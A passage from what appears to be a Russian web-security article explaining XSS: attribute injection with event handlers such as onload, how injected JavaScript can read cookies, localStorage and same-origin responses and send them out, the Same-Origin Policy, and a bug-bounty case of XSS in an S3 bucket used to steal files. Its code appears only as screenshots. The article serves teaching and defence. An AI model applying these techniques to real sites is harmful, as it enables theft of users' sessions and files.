src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/io\/xy\/by\/ioxybywm2u5fxgbwni2jvdfgjmo.png\" data-src=\"https:\/\/habrastorage.org\/webt\/io\/xy\/by\/ioxybywm2u5fxgbwni2jvdfgjmo.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0414\u0430\u043b\u044c\u0448\u0435 \u0438\u0434\u0435\u043c \u0432 DOM \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0432 \u043a\u0430\u043a\u043e\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u043c\u044b \u043f\u043e\u043f\u0430\u043b\u0438.<\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/vt\/5k\/re\/vt5krefyxen7fpzbtxsfl-ppooa.png\" data-src=\"https:\/\/habrastorage.org\/webt\/vt\/5k\/re\/vt5krefyxen7fpzbtxsfl-ppooa.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u043c\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u043a\u043e\u0434, \u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c 1. \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0435\u0441\u043b\u0438 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0442\u0435\u0433 \u0443\u044f\u0437\u0432\u0438\u043c \u0438 \u043c\u044b \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u0442\u0443\u0434\u0430 \u0441\u0432\u043e\u0439 \u0430\u0442\u0440\u0438\u0431\u0443\u0442, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0434\u0430\u043b\u044c\u0448\u0435 \u0440\u0430\u0441\u043a\u0440\u0443\u0442\u0438\u0442\u044c \u044d\u0442\u043e. \u041c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u043c\u0435\u0441\u0442\u043e test \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c onload \u0438\u043b\u0438 onmouseover, \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u0442\u0435\u0433.<\/p>\n<p>  <\/p>\n<p>\u041c\u043e\u0436\u043d\u043e \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.<\/p>\n<p>  <\/p>\n<h2>\u041f\u043e\u0447\u0435\u043c\u0443 XSS \u043e\u043f\u0430\u0441\u043d\u044b?<\/h2>\n<p>  <\/p>\n<p>\u0423 JS \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0443:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/nc\/6a\/aa\/nc6aaad1m0bxuthv5hryg0mr5-g.png\" data-src=\"https:\/\/habrastorage.org\/webt\/nc\/6a\/aa\/nc6aaad1m0bxuthv5hryg0mr5-g.png\"\/><\/p>\n<p>  <\/p>\n<p><strong>DOM<\/strong> \u2014 \u044d\u0442\u043e \u043c\u0435\u0441\u0442\u043e, \u0433\u0434\u0435 JS \u043c\u043e\u0436\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c HTML \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. JS \u043c\u043e\u0436\u0435\u0442 \u0432\u0438\u0434\u0435\u0442\u044c \u0447\u0435\u0440\u0435\u0437 DOM \u0432\u0441\u0451, \u0447\u0442\u043e \u0432\u044b \u0432\u0438\u0434\u0438\u0442\u0435 \u0443 \u0441\u0435\u0431\u044f \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u0432 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445.<\/p>\n<p>  <\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0443 \u043d\u0435\u0433\u043e \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a <strong>LocalStorage<\/strong> \u0438 <strong>SessionStorage<\/strong>. \u0415\u0441\u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0445\u0440\u0430\u043d\u0438\u0442 \u0442\u0430\u043c \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0442\u043e JS \u043b\u0435\u0433\u043a\u043e \u043c\u043e\u0436\u0435\u0442 \u0432\u0437\u044f\u0442\u044c \u0438 \u043f\u043e\u0442\u043e\u043c \u043f\u043e\u0441\u043b\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/bj\/ix\/zm\/bjixzmrgblwfzxmkyvlwjergv_o.png\" data-src=\"https:\/\/habrastorage.org\/webt\/bj\/ix\/zm\/bjixzmrgblwfzxmkyvlwjergv_o.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041d\u0438 \u0434\u043b\u044f \u043a\u043e\u0433\u043e \u043d\u0435 \u0441\u0435\u043a\u0440\u0435\u0442, \u0447\u0442\u043e <strong>\u043a\u0443\u043a\u0438<\/strong> \u2014 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445. \u0418 \u0443 JS \u0435\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043b\u044e\u0431\u044b\u043c HTTP-\u043e\u0442\u0432\u0435\u0442\u0430\u043c \u0441 \u044d\u0442\u043e\u0433\u043e \u0436\u0435 Origin. \u0422\u043e \u0435\u0441\u0442\u044c, \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0432 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u0443\u044e \u0434\u0440\u0443\u0433\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f.<\/p>\n<p>  <\/p>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 b, \u0433\u0434\u0435 \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c API-\u043a\u043b\u044e\u0447\u0438, \u0438 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043c \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u043e\u0442\u0432\u0435\u0442: <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/hj\/wm\/wg\/hjwmwg4kc41nlm5u5tmdtfi7dtw.png\" data-src=\"https:\/\/habrastorage.org\/webt\/hj\/wm\/wg\/hjwmwg4kc41nlm5u5tmdtfi7dtw.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0412\u043c\u0435\u0441\u0442\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b b \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. <\/p>\n<p>  <\/p>\n<p>JS \u043c\u043e\u0436\u0435\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c <strong>\u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u043c\u0438 \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u043c\u0438<\/strong>.<\/p>\n<p>  <\/p>\n<p>\u0423 JS \u0435\u0441\u0442\u044c <strong>\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438<\/strong> (Service Workers, Push API, &#8230;).<\/p>\n<p>  <\/p>\n<h3>\u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e \u043b\u0438, \u0447\u0442\u043e \u0443 JS \u0435\u0441\u0442\u044c \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\u043e \u0432\u0441\u0435\u043c\u0443?<\/h3>\n<p>  <\/p>\n<p>\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043c\u043d\u043e\u0433\u043e \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 Origin \u0434\u043b\u044f \u0440\u0430\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 JS \u043c\u0435\u0436\u0434\u0443 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0430\u0439\u0442\u0430\u043c\u0438.<\/p>\n<p>  <\/p>\n<p>Origin = protocol + hostname + port<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/qe\/ia\/i8\/qeiai8alijlymxrxdho6b_33_8u.png\" data-src=\"https:\/\/habrastorage.org\/webt\/qe\/ia\/i8\/qeiai8alijlymxrxdho6b_33_8u.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0443 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432 \u0435\u0441\u0442\u044c Same-Origin-Policy (SOP) \u2014 \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u0449\u0438\u0442\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432 \u0432\u0435\u0431\u0435. <\/p>\n<p>  <\/p>\n<p>JS, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043d\u0430 \u043e\u0434\u043d\u043e\u043c Origin, \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u043c\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e Origin.<\/p>\n<p>  <\/p>\n<p>\u041c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u044b\u0432\u043e\u0434, \u0447\u0442\u043e XSS \u043d\u0430 \u043e\u0434\u043d\u043e\u043c Origin \u043d\u0435 \u043e\u043f\u0430\u0441\u0435\u043d \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u043e\u0433\u043e Origin. \u0423 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d, \u0433\u0434\u0435 \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 JS, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0442\u0430\u043c \u043d\u0435 \u0445\u043e\u0441\u0442\u0438\u0442\u0441\u044f \u043d\u0438\u0447\u0435\u0433\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0433\u043e.<\/p>\n<p>  <\/p>\n<p>\u041d\u043e \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u0445\u043e\u0434\u044b SOP. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u0430\u0439\u0442\u0430\u043c\u0438 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0445\u043e\u0434\u0438\u0442\u044c \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0430\u0439\u0442\u044b, \u0447\u0438\u0442\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u044b, \u0447\u0442\u043e-\u0442\u043e \u0442\u0443\u0434\u0430 \u043f\u043e\u0441\u044b\u043b\u0430\u0442\u044c \u0438 \u0447\u0442\u043e-\u0442\u043e \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c. \u041e\u043d\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e CORS, WebSocket, PostMessage, JSONP, Flash.<\/p>\n<p>  <\/p>\n<p>\u041a\u0443\u043a\u0438, \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u043f\u043e\u0440\u0442\u0443, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0430 \u043b\u044e\u0431\u043e\u043c \u0434\u0440\u0443\u0433\u043e\u043c \u043f\u043e\u0440\u0442\u0443.<\/p>\n<p>  <\/p>\n<p>\u0415\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0438\u0447\u0438 JS, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u043d\u043e\u0433\u0434\u0430 \u0442\u043e\u0436\u0435 \u043d\u0435\u0441\u0443\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0434\u043b\u044f SOP. \u0418\u043d\u043e\u0433\u0434\u0430 \u044d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c.<\/p>\n<p>  <\/p>\n<p>\u042f \u043f\u0440\u0438\u0432\u0435\u0434\u0443 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0438\u0437 Bug Bounty \u2014 XSS \u0432 S3-\u0431\u0430\u043a\u0435\u0442\u0435, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043a\u0440\u0430\u0441\u0442\u044c \u0447\u0443\u0436\u0438\u0435 \u0444\u0430\u0439\u043b\u044b.<\/p>\n<p>  <\/p>\n<p>\u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u044d\u0442\u043e\u0433\u043e \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f: \u044d\u0442\u043e CRM, \u0433\u0434\u0435 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u0432\u043e\u0434\u0438\u0442\u044c \u0441\u0434\u0435\u043b\u043a\u0438 \u0441 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438 \u0438 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043d\u0438\u0445, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/sv\/7h\/m0\/sv7hm0mq30pxfvgyhcya3h9a4ig.png\" data-src=\"https:\/\/habrastorage.org\/webt\/sv\/7h\/m0\/sv7hm0mq30pxfvgyhcya3h9a4ig.png\"\/><\/p>\n<p>  <\/p>\n<p>\u042f \u043f\u043e\u0434\u0443\u043c\u0430\u043b: \u00ab\u0427\u0442\u043e \u0431\u0443\u0434\u0435\u0442, \u0435\u0441\u043b\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443?\u00bb<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/rp\/0f\/16\/rp0f167pu2uinzc6at65swu4ftk.png\" data-src=\"https:\/\/habrastorage.org\/webt\/rp\/0f\/16\/rp0f167pu2uinzc6at65swu4ftk.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041e\u0431\u044b\u0447\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u0433\u0434\u0435 \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043d\u0430 \u043a\u0430\u043a\u043e\u043c \u0434\u043e\u043c\u0435\u043d\u0435 \u043e\u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f. \u0418 \u043e\u043d\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/zs\/xx\/v_\/zsxxv_qqbagzk1omxx-kyualty0.png\" data-src=\"https:\/\/habrastorage.org\/webt\/zs\/xx\/v_\/zsxxv_qqbagzk1omxx-kyualty0.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e XSS \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0435 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438, \u0430 \u0432 S3-\u0431\u0430\u043a\u0435\u0442\u0435.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/zy\/xm\/la\/zyxmlaifmxndmkgkqpkp6o_ghlk.png\" data-src=\"https:\/\/habrastorage.org\/webt\/zy\/xm\/la\/zyxmlaifmxndmkgkqpkp6o_ghlk.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041e\u043d\u0438 \u0431\u0435\u0440\u0443\u0442 \u0444\u0430\u0439\u043b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043a\u043b\u0430\u0434\u0443\u0442 \u0443 \u0441\u0435\u0431\u044f \u0432 \u0431\u0430\u043a\u0435\u0442, \u0438 \u0434\u0430\u043b\u044c\u0448\u0435, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0445\u043e\u0447\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0443, \u043e\u043d \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u043e \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438, \u043d\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0442 \u0435\u0433\u043e \u0432 S3-\u0431\u0430\u043a\u0435\u0442, \u0433\u0434\u0435 \u0445\u043e\u0441\u0442\u0438\u0442\u0441\u044f \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b. <\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0444\u0430\u0439\u043b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0444\u0430\u0439\u043b \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043a\u0430\u043a\u043e\u0435-\u0442\u043e \u0432\u0440\u0435\u043c\u044f. \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0441\u0442\u043e \u0442\u0430\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0444\u0430\u0439\u043b, \u043d\u0430\u0434\u043e, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u0440\u043e\u0441 \u0431\u044b\u043b \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d. \u042d\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 \u0432\u044b \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b\u0438 \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u0438 \u0445\u043e\u0442\u0438\u0442\u0435 \u0435\u0433\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c. \u041d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u0444\u0430\u0439\u043b \u0432 S3-\u0431\u0430\u043a\u0435\u0442\u0435, \u0433\u0434\u0435 \u044d\u0442\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0443\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441. \u041f\u043e \u044d\u0442\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043a\u0430\u043a\u043e\u0435-\u0442\u043e \u0432\u0440\u0435\u043c\u044f.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/bs\/mc\/uy\/bsmcuy1rfxztamemi5ljifnmejq.png\" data-src=\"https:\/\/habrastorage.org\/webt\/bs\/mc\/uy\/bsmcuy1rfxztamemi5ljifnmejq.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e JS \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c Origin, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e S3-\u0431\u0430\u043a\u0435\u0442 \u2013 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d Amazon, \u043e\u043d \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u044f \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u043e\u043c\u0435\u043d, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0445\u043e\u0441\u0442\u0438\u0442\u0441\u044f \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/ug\/du\/av\/ugduavwfmuflvqrhq-ghjzpek3c.png\" data-src=\"https:\/\/habrastorage.org\/webt\/ug\/du\/av\/ugduavwfmuflvqrhq-ghjzpek3c.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, XSS \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u043d\u044b, \u043d\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 